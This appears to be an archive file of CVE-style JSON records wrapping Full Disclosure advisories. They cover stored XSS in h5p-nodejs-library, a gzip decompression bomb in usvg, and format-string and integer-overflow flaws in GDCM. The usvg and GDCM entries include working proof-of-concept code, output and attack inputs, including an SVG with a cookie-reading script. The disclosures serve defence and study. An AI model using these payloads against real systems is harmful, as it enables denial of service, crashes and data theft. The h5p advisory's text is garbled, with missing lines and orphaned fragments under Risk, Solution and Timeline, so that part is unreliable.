Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-007",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\n\nMetadata\n========\n\n- - Affected product: h5p-nodejs-library\n\n  the time of publication)\n- - Vendor: Lumi Education UG\n- - Problem type(s):\n\n    - CWE-20 Improper Input Validation\n- - CVE ID: CVE-2025-7062\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-7062\n- - CVSS 4.0 score: 5.2\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-007/\n\nDetails\n=======\n\n\ncontent/content.json file.\n\n\ncontent:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg\n   version=\"1.1\"\n   id=\"svg2\"\n   sodipodi:docname=\"circle.svg\"\n   xmlns=\"http://www.w3.org/2000/svg\";\n   xmlns:svg=\"http://www.w3.org/2000/svg\";\u003e\n  \u003cscript\u003ealert(\"XSS Test\");\u003c/script\u003e\n  \u003cscript\u003ealert(document.cookie);\u003c/script\u003e\n  \u003ccircle\n\n     id=\"path233\"\n     cx=\"98.428535\"\n     cy=\"68.415733\"\n     r=\"54.194405\" /\u003e\n\u003c/svg\u003e\n\n\n\ncontent/content.json as follows:\n\n{\n  \"media\": {\n    \"type\": {\n      \"params\": {\n        \"decorative\": false,\n        \"contentName\": \"Image\",\n        \"expandImage\": \"Expand Image\",\n        \"minimizeImage\": \"Minimize Image\",\n        \"file\": {\n          \"path\": \"images/circle.svg\",\n          \"mime\": \"image/svg+xml\",\n[...]\n\n\n\nwindow.\n\nRisk\n====\n\n\nadditional roles to existing ones.\n\nSolution/Mitigation\n===================\n\n\nallowed extension, such as XML, and have it executed.\n\n\nfrom uploaded files.\n\nTimeline\n========\n\n- - 2024-10-23 Vulnerability discovered\n- - 2024-11-08 Initial contact attempt, email sent to c@lumi.education\n\n- - 2024-11-28 Third contact attempt via a message in the Lumi Slack channel\n\n  framework in their project\n- - 2025-03-07 Release of h5p-nodejs-library v10.0.4\n\n  excluded.\n\n  with XSS content that is executed after loading\n\n  received a response the same day\n\n- - 2025-09-23 Exchange with the developer on details of the fix\n- - 2025-09-24 Exchange with the developer on details of the fix\n\n  received.\n\n  received.\n\n  received.\n\n  reasons.\n- - 2026-09-09 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Florian Schmid of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmqg+lcaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtd7hAAt/fhW+fVFc5JlaevO/pu\nOlVkBwTQjZcX3qxZRgAVbV0HuwLPh/YTgiCLjidVfAIzVJbQSU0eDKrt3G4t82Te\nrhXkY0ctzwOGya3nIwEI/I/QpKH/W75NDRL2ewI7iiJB8guQWBZzb7cFSAOoeNMi\nnUkdo35BwqNr+TccXjNVwnlsXHTdW1RbzIwE9yUHujjT7vkUNcoDftPoguBjRsG1\nOSlcjqDvMPNkApQiXWniwz0wY/6WYQgt96RB96Wl0uJLMazLgtgVgso7rcZW3Sjd\npi1yHYD3f+/ch9iPQBFq0SIcnH+kJC2oNXypM0VDjtCdNt+KveiBnbJsl9zSTdHj\nylllLxE58bkVuONcInxHeo6MSRBGLAJ0Hiq1uHFeQuya6L53Lr5Nb65IVQJe3f2T\nx56Gwhs+xhGr/hd0k/CmaRXxApFm8HPLr1M3uCPrJXzT6THBZxcuWcJr9WXUj1ZT\nWNBHlf06aK8SWHtVDugeTJK38N/Esetc9Z8XY1PdiVp4ab0qJMi9w4YWtJgeeL2d\nTbIObBSI0i9OR1GdrXvVKB6F/PvpuTHupCMR+2yI/mMEzb2KgDQiZpEqh1qOy01u\nB+7bH2qwlnZrz6SL0vfZCwZ/KJbKf+/hSq+3V4XcK415cQsUZbT07y5qxUZIK/wE\nnpRisQyYZ+Z+QaMWsSxMf7c=\n=pVF/\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:34Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/41"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/41"
        },
        {
          "url": "http://www.w3.org/2000/svg\""
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-7062"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-007/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/41"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-007: Stored Cross-Site Scripting via file upload in H5P module (h5p-nodejs-library) of Lumi Education",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-7062",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0440",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/41",
            "automated": true,
            "contentSha256": "3ecef1f5be0f8be57ccf72de8b9866918875c1fbaf3731e33c88fa3d82889af8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/41",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-09T06:21:46Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0440"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:34Z",
    "dateUpdated": "2026-10-02T04:57:34Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0440"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "usvg SVGZ decompression",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# usvg SVGZ decompression bomb in `Tree::from_data`\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-18\n**Advisory:** https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata\n**Contact:** https://fereidani.com/contact\n\n## Description\n\n`Tree::from_data` in `crates/usvg/src/parser/mod.rs:102` detects the gzip magic\nbytes at the start of the input and decompresses the data before parsing it:\n\n```rust\n// crates/usvg/src/parser/mod.rs:109\nlet data = decompress_svgz(data)?;\nlet text = std::str::from_utf8(\u0026data).map_err(|_| Error::NotAnUtf8Str)?;\nSelf::from_str(text, opt)\n```\n\n```rust\n// crates/usvg/src/parser/mod.rs:180\npub fn decompress_svgz(data: \u0026[u8]) -\u003e Result\u003cVec\u003cu8\u003e, Error\u003e {\n    use std::io::Read;\n\n    let mut decoder = flate2::read::GzDecoder::new(data);\n    let mut decoded = Vec::with_capacity(data.len() * 2);\n    decoder\n        .read_to_end(\u0026mut decoded)\n        .map_err(|_| Error::MalformedGZip)?;\n    Ok(decoded)\n}\n```\n\n`read_to_end` grows `decoded` with no cap on the output size, and the whole\nbuffer is materialized before `from_str` reads the first byte. The attacker\nfully controls the expansion ratio, since gzip reaches roughly 1000:1, so the\nsize of the input places no bound on the size of the allocation. A payload of\na few hundred kilobytes can request several gigabytes of memory, and the parse\nerror only fires after the entire bomb is already in memory.\n\n## Proof of concept\n\nCreate a new project with `flate2` and `usvg`:\n\n```toml\n[dependencies]\nflate2 = \"1\"\nusvg = \"0.48\"\n```\n\nBuild a gzip bomb of the desired size and hand it to `Tree::from_data`:\n\n```rust\nuse flate2::write::GzEncoder;\nuse flate2::Compression;\nuse std::io::Write;\n\nfn main() {\n    let mib: usize = std::env::args()\n        .nth(1)\n        .and_then(|s| s.parse().ok())\n        .unwrap_or(256);\n    let mut enc = GzEncoder::new(Vec::new(), Compression::best());\n    let chunk = [0u8; 65536];\n    for _ in 0..(mib \u003c\u003c 20) / 65536 {\n        enc.write_all(\u0026chunk).unwrap();\n    }\n    let bomb = enc.finish().unwrap();\n    println!(\"svgz input {} bytes, expands to {mib} MiB\", bomb.len());\n    match usvg::Tree::from_data(\u0026bomb, \u0026usvg::Options::default()) {\n        Ok(_) =\u003e println!(\"parsed\"),\n        Err(e) =\u003e println!(\"parse error after full decompression: {e:?}\"),\n    }\n}\n```\n\nRun with `cargo run --release 4096`. Observed output:\n\n```text\nsvgz input 4171638 bytes, expands to 4096 MiB\nparse error after full decompression:\nParsingFailed(UnknownToken(TextPos { row: 1, col: 1 }))\n```\n\nPeak process RSS was 4,201,816 kB (about 4.0 GiB) from a 4 MB input. The\ndecompression happens before any validation, so the bytes do not even need to\nbe a valid SVG.\n\n## Impact\n\nDecompression bomb causing memory exhaustion and an OOM kill, denying service\nto any application that passes attacker-controlled SVG bytes to\n`usvg::Tree::from_data`. The `svgz` feature is enabled by default, and SVG\nupload or conversion endpoints that use usvg are typically reachable before\nauthentication.\n\n## Solution\n\nBound the decompressed output inside `decompress_svgz` instead of trusting the\ncompressed input. Read through `io::Take` with a limit one byte above the\ncap, so a stream that reaches the limit can be rejected instead of silently\ntruncated:\n\n```rust\nconst MAX_SVGZ_SIZE: u64 = 256 * 1024 * 1024;\n\nlet mut decoder = flate2::read::GzDecoder::new(data);\nlet mut decoded = Vec::with_capacity(data.len() * 2);\ndecoder\n    .take(MAX_SVGZ_SIZE + 1)\n    .read_to_end(\u0026mut decoded)\n    .map_err(|_| Error::MalformedGZip)?;\nif decoded.len() as u64 \u003e MAX_SVGZ_SIZE {\n    return Err(Error::MalformedGZip);\n}\n```\n\nComparable libraries bound the decompressed or parsed output inside the\nlibrary itself:\n\n- Node.js `zlib` caps one-shot decompression output via the `maxOutputLength`\n  option (added in v12.19.0 and v14.5.0).\n- Python Pillow caps decoded pixels at `ImageFile.MAX_IMAGE_PIXELS`, default\n  89,478,485 pixels (about a quarter GiB of 24-bit pixels), and raises\n  `DecompressionBombWarning` / `DecompressionBombError` beyond it.\n- libpng applies default dimension limits of 1,000,000 x 1,000,000 plus\n  `png_set_chunk_malloc_max` for bounded allocation.\n- librsvg documents no built-in memory or CPU limits and pushes bounding to\n  the caller, but still caps parsed XML elements at 1 million. usvg applies\n  neither an output-size cap nor an element cap.\n\nUntil a fix lands, applications can disable the `svgz` feature and decompress\nuploaded files themselves with a bounded reader, calling `Tree::from_str` on\nthe verified plain SVG text.\n\n## Timeline\n\n- 2026-08-25: Vulnerability reported privately to the maintainer.\n- 2026-09-24: No response received; public disclosure. usvg 0.48.1 and the\n  current main branch are still affected.\n\n## References\n\n- [linebender/resvg -\ncrates/usvg/src/parser/mod.rs](https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs)\n- [Node.js zlib `maxOutputLength`](https://nodejs.org/api/zlib.html)\n- [Pillow `ImageFile.MAX_IMAGE_PIXELS`](https://pillow.readthedocs.io/en/stable/reference/ImageFile.html)\n- [CWE-409: Improper Handling of Highly Compressed Data (Data\nAmplification)](https://cwe.mitre.org/data/definitions/409.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-409",
              "description": "CWE-409",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:34Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/73"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/409.html"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/usvg-svgz-decompression-bomb-in-treefromdata"
        },
        {
          "url": "https://github.com/linebender/resvg/blob/main/crates/usvg/src/parser/mod.rs"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://nodejs.org/api/zlib.html"
        },
        {
          "url": "https://pillow.readthedocs.io/en/stable/reference/ImageFile.html"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/73"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "usvg SVGZ decompression bomb in `Tree::from_data`",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0439",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/73",
            "automated": true,
            "contentSha256": "bc3fffb52ec3a509c1ebe187ebeae6c0aff0f3beeefa42a5f6ed06d814f1027c",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/73",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T22:03:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:34Z",
    "dateUpdated": "2026-10-02T04:57:34Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0439"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-071\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Format String (CWE-134)\nRisk Level:                Medium\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmFilenameGenerator component, used by the gdcmraw command-line tool\nto generate output filenames for split fragments, is vulnerable to a\nformat string vulnerability. The user-supplied pattern string is used\ndirectly as the format string argument to snprintf() without proper\nvalidation of the format specifiers. Only the count of % characters is\nchecked (exactly one required), but the specifier that follows is not\nvalidated.\n\nAn attacker can supply format specifiers such as \"%n\" to write to arbitrary\nmemory addresses, or \"%s\" to dereference small integers as pointers,\ncausing crashes. Positional parameters like \"%5$x\" can be used to leak\nstack data into generated filenames, enabling information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the FilenameGenerator::Generate() function at\nSource/Common/gdcmFilenameGenerator.cxx:94:\n\n  int res = snprintf( internal, internal_len, Pattern.c_str(), i );\n\nThe Pattern string is set by the user via FilenameGenerator::SetPattern().\nIn the gdcmraw command-line tool, the pattern comes directly from the\n- -p/--pattern command-line argument:\n\n  // gdcmraw.cxx:150\n  pattern = optarg;  // user-controlled!\n  // gdcmraw.cxx:353\n  fg.SetPattern( pattern.c_str() );\n\nThe validation in Generate() only counts % characters and requires\nexactly one but does NOT validate what format specifier follows:\n\n  const char *pattern = Pattern.c_str();\n  int num_percent = 0;\n  while( (pattern = strchr( pattern, \u0027%\u0027)) )\n    {\n    ++pattern;\n    ++num_percent;\n    }\n  if ( num_percent != 1 )\n    {\n    gdcmDebugMacro( \"No more than one % in string formatting please\" );\n    return false;\n    }\n\nThis means patterns like \"%s\", \"%x\", \"%5$x\", and \"%n\" all pass validation:\n\n  - \"%s\"  : treats the loop index i as a char* pointer and attempts to\n            dereference it, causing a segmentation fault (information\n            disclosure if the dereferenced memory contains readable data)\n  - \"%x\"  : reads the loop index value as hex and embeds it in the filename\n  - \"%5$x\": positional parameter that skips past the provided argument\n            to the 5th variadic argument on the stack, leaking arbitrary\n            stack data into the generated filename (information disclosure)\n  - \"%n\"  : interprets the loop index i as an int* and writes the number\n            of bytes written so far to that address, enabling arbitrary\n            memory writes and potential remote code execution\n\nThe loop index i is of type SizeType (unsigned long / size_t). When\ninterpreted as a pointer, small index values (0, 1, 2, ...) point to\ninvalid memory addresses, causing immediate segmentation faults. The\n\"%n\" specifier is particularly dangerous as it enables write-what-where\nattacks if the attacker can control the stack layout.\n\nThe exploitability of the vulnerable code with the different shown\noptions depends on on the used compiler settings, for example glibc\u0027s\nFORTIFY_SOURCE.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nUsing the format specifier \"%s\" in combination with a multi-fragment\nDICOM file leads to a segmentation fault as the loop index gets interpreted\nas char* pointer. When the loop counter is 1, snprintft() attempts to\nread from address 0x1.\n\ngdcmraw -i multifrag.dcm -o output_ --split-frags -p \u0027%s\u0027\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n    https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-071\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-134",
              "description": "CWE-134",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:34Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/87"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://gdcm.sourceforge.net/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/87"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-071]: GDCM (Grassroots DICOM) - Format String (CWE-134)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0438",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/87",
            "automated": true,
            "contentSha256": "90c70433a3314393c67116213041c17b14b3ce8295b1d13c8e081ac5dca3a95e",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/87",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T13:33:50Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:34Z",
    "dateUpdated": "2026-10-02T04:57:34Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0438"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "GDCM (Grassroots DICOM)",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-070\nProduct:                   GDCM (Grassroots DICOM)\nManufacturer:              GDCM Project\nAffected Version(s):       3.3.0\nTested Version(s):         3.3.0\nVulnerability Type:        Integer Overflow (CWE-190)\nRisk Level:                High\nSolution Status:           Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure:         2026-09-23\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nThe gdcmstream command-line tool, used for stream-based reading and writing\nof DICOM images, is vulnerable to an integer overflow that leads to a heap\nbuffer overflow.\n\nWhen processing JPEG2000-compressed DICOM files, the gdcmstream tool decodes\nthe embedded JPEG2000 codestream via OpenJPEG and allocates a buffer for the\nraw pixel data. The buffer size is computed using 32-bit integer arithmetic\n\nthe product exceeds 2^32, the result silently wraps around, causing an\nundersized buffer allocation. The subsequent pixel data write loop then\noverflows the heap buffer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe vulnerable code is in the Write_Resolution function at\nApplications/Cxx/gdcmstream.cxx:246-271:\n\n  int Dimensions[2];\n  {\n    int compno = 0;\n    opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n    Dimensions[0]= comp-\u003ew;\n    Dimensions[1] = comp-\u003eh;\n  }\n  unsigned long rawlen = Dimensions[0]*Dimensions[1] * image-\u003enumcomps;\n  char *raw = new char[rawlen];\n\n  for (unsigned int compno = 0; compno \u003c (unsigned int)image-\u003enumcomps;\n       compno++)\n  {\n    const opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n    int w = comp-\u003ew;\n    int h = comp-\u003eh;\n    uint8_t *data8 = (uint8_t*)raw + compno;\n    for (int i = 0; i \u003c w * h; i++)\n    {\n      int v = image-\u003ecomps[compno].data[i];\n      *data8 = (uint8_t)v;\n      data8 += image-\u003enumcomps;\n    }\n  }\n\nThe variables Dimensions[0] and Dimensions[1] are both \u0027int\u0027 (32-bit signed)\nvalues converted from the OpenJPEG component structure\u0027s \u0027w\u0027 and \u0027h\u0027 fields,\nwhich are OPJ_UINT32 (uint32_t). The variable image-\u003enumcomps is also\nOPJ_UINT32 (uint32_t).\n\nThe multiplication Dimensions[0]*Dimensions[1] is performed in \u0027int\u0027 (32-bit\nsigned) arithmetic. The result is then multiplied by image-\u003enumcomps\n(OPJ_UINT32). Due to C++ usual arithmetic conversions, when a signed int\nand an unsigned int are multiplied, the signed int is converted to unsigned\nint, and the multiplication is performed in 32-bit unsigned integer\narithmetic. The result is only widened to \u0027unsigned long\u0027 (64-bit) on\nassignment to \u0027rawlen\u0027, after the overflow has already occurred.\n\nWhen the product exceeds 2^32, it wraps around modulo 2^32, producing a\nvalue much smaller than the actual amount of pixel data. The subsequent\nwrite loop then writes w*h pixels for each component, each advancing the\nwrite pointer by numcomps bytes, overflowing the undersized buffer on the\nheap.\n\nThe JPEG2000 SIZ marker uses 32-bit unsigned values for Xsiz and Ysiz\n(image dimensions), so values exceeding 65535 (the maximum representable in\nthe DICOM US VR used for Rows and Columns) are valid in a JPEG2000\ncodestream. This means a malicious JPEG2000 codestream embedded in a DICOM\nfile can set component dimensions that trigger the integer overflow without\nneeding to violate DICOM header constraints.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that uses the vulnerable code from Write_Resolution()\nin gdcmstream.cxx (lines 246-271) to trigger a real heap buffer overflow\ndetected by AddressSanitizer.\n\nThe PoC constructs a real opj_image_t structure with crafted parameters:\n  - numcomps = 65535 (maximum from a 16-bit J2K SIZ Csiz field)\n  - Component 0: w = 65538, h = 1\n  - Components 1..65534: w = 0, h = 0 (inner loop does not execute)\n\nOverflow calculation:\n  Step 1: Dimensions[0] * Dimensions[1] = 65538 * 1 = 65538\n          (computed as \u0027int\u0027, fits within INT_MAX, no signed overflow)\n  Step 2: 65538 * 65535 = 4,295,032,830\n          (computed as uint32_t due to OPJ_UINT32 numcomps)\n          uint32_t overflow: 4,295,032,830 mod 2^32 = 65,534\n  Buffer allocated (rawlen): 65,534 bytes\n  Actual data that will be written: 65538 * 65535 = 4,295,032,830 bytes\n                                    (~4.00 GB)\n  *** Buffer too small by 4,294,967,296 bytes ***\n\n  Loop execution:\n    i=0: write at raw[0]           \u2014 inside buffer (OK)\n    i=1: write at raw[65535]       \u2014 OUTSIDE 65,534-byte buffer!\n\nPoC source code:\n\n  #include \u003ccstdint\u003e\n  #include \u003ccstdio\u003e\n  #include \u003ccstdlib\u003e\n  #include \u003ccstring\u003e\n  #include \u003copenjpeg.h\u003e\n\n  /* Verbatim vulnerable code from gdcmstream.cxx:246-271 */\n  static void trigger_vuln_13(opj_image_t *image)\n  {\n    int Dimensions[2];\n    {\n      int compno = 0;\n      opj_image_comp_t *comp = \u0026image-\u003ecomps[compno];\n      Dimensions[0] = comp-\u003ew;\n      Dimensions[1] = comp-\u003eh;\n    }\n    unsigned long rawlen =\n        Dimensions[0] * Dimensions[1] * image-\u003enumcomps;\n    char *raw = new 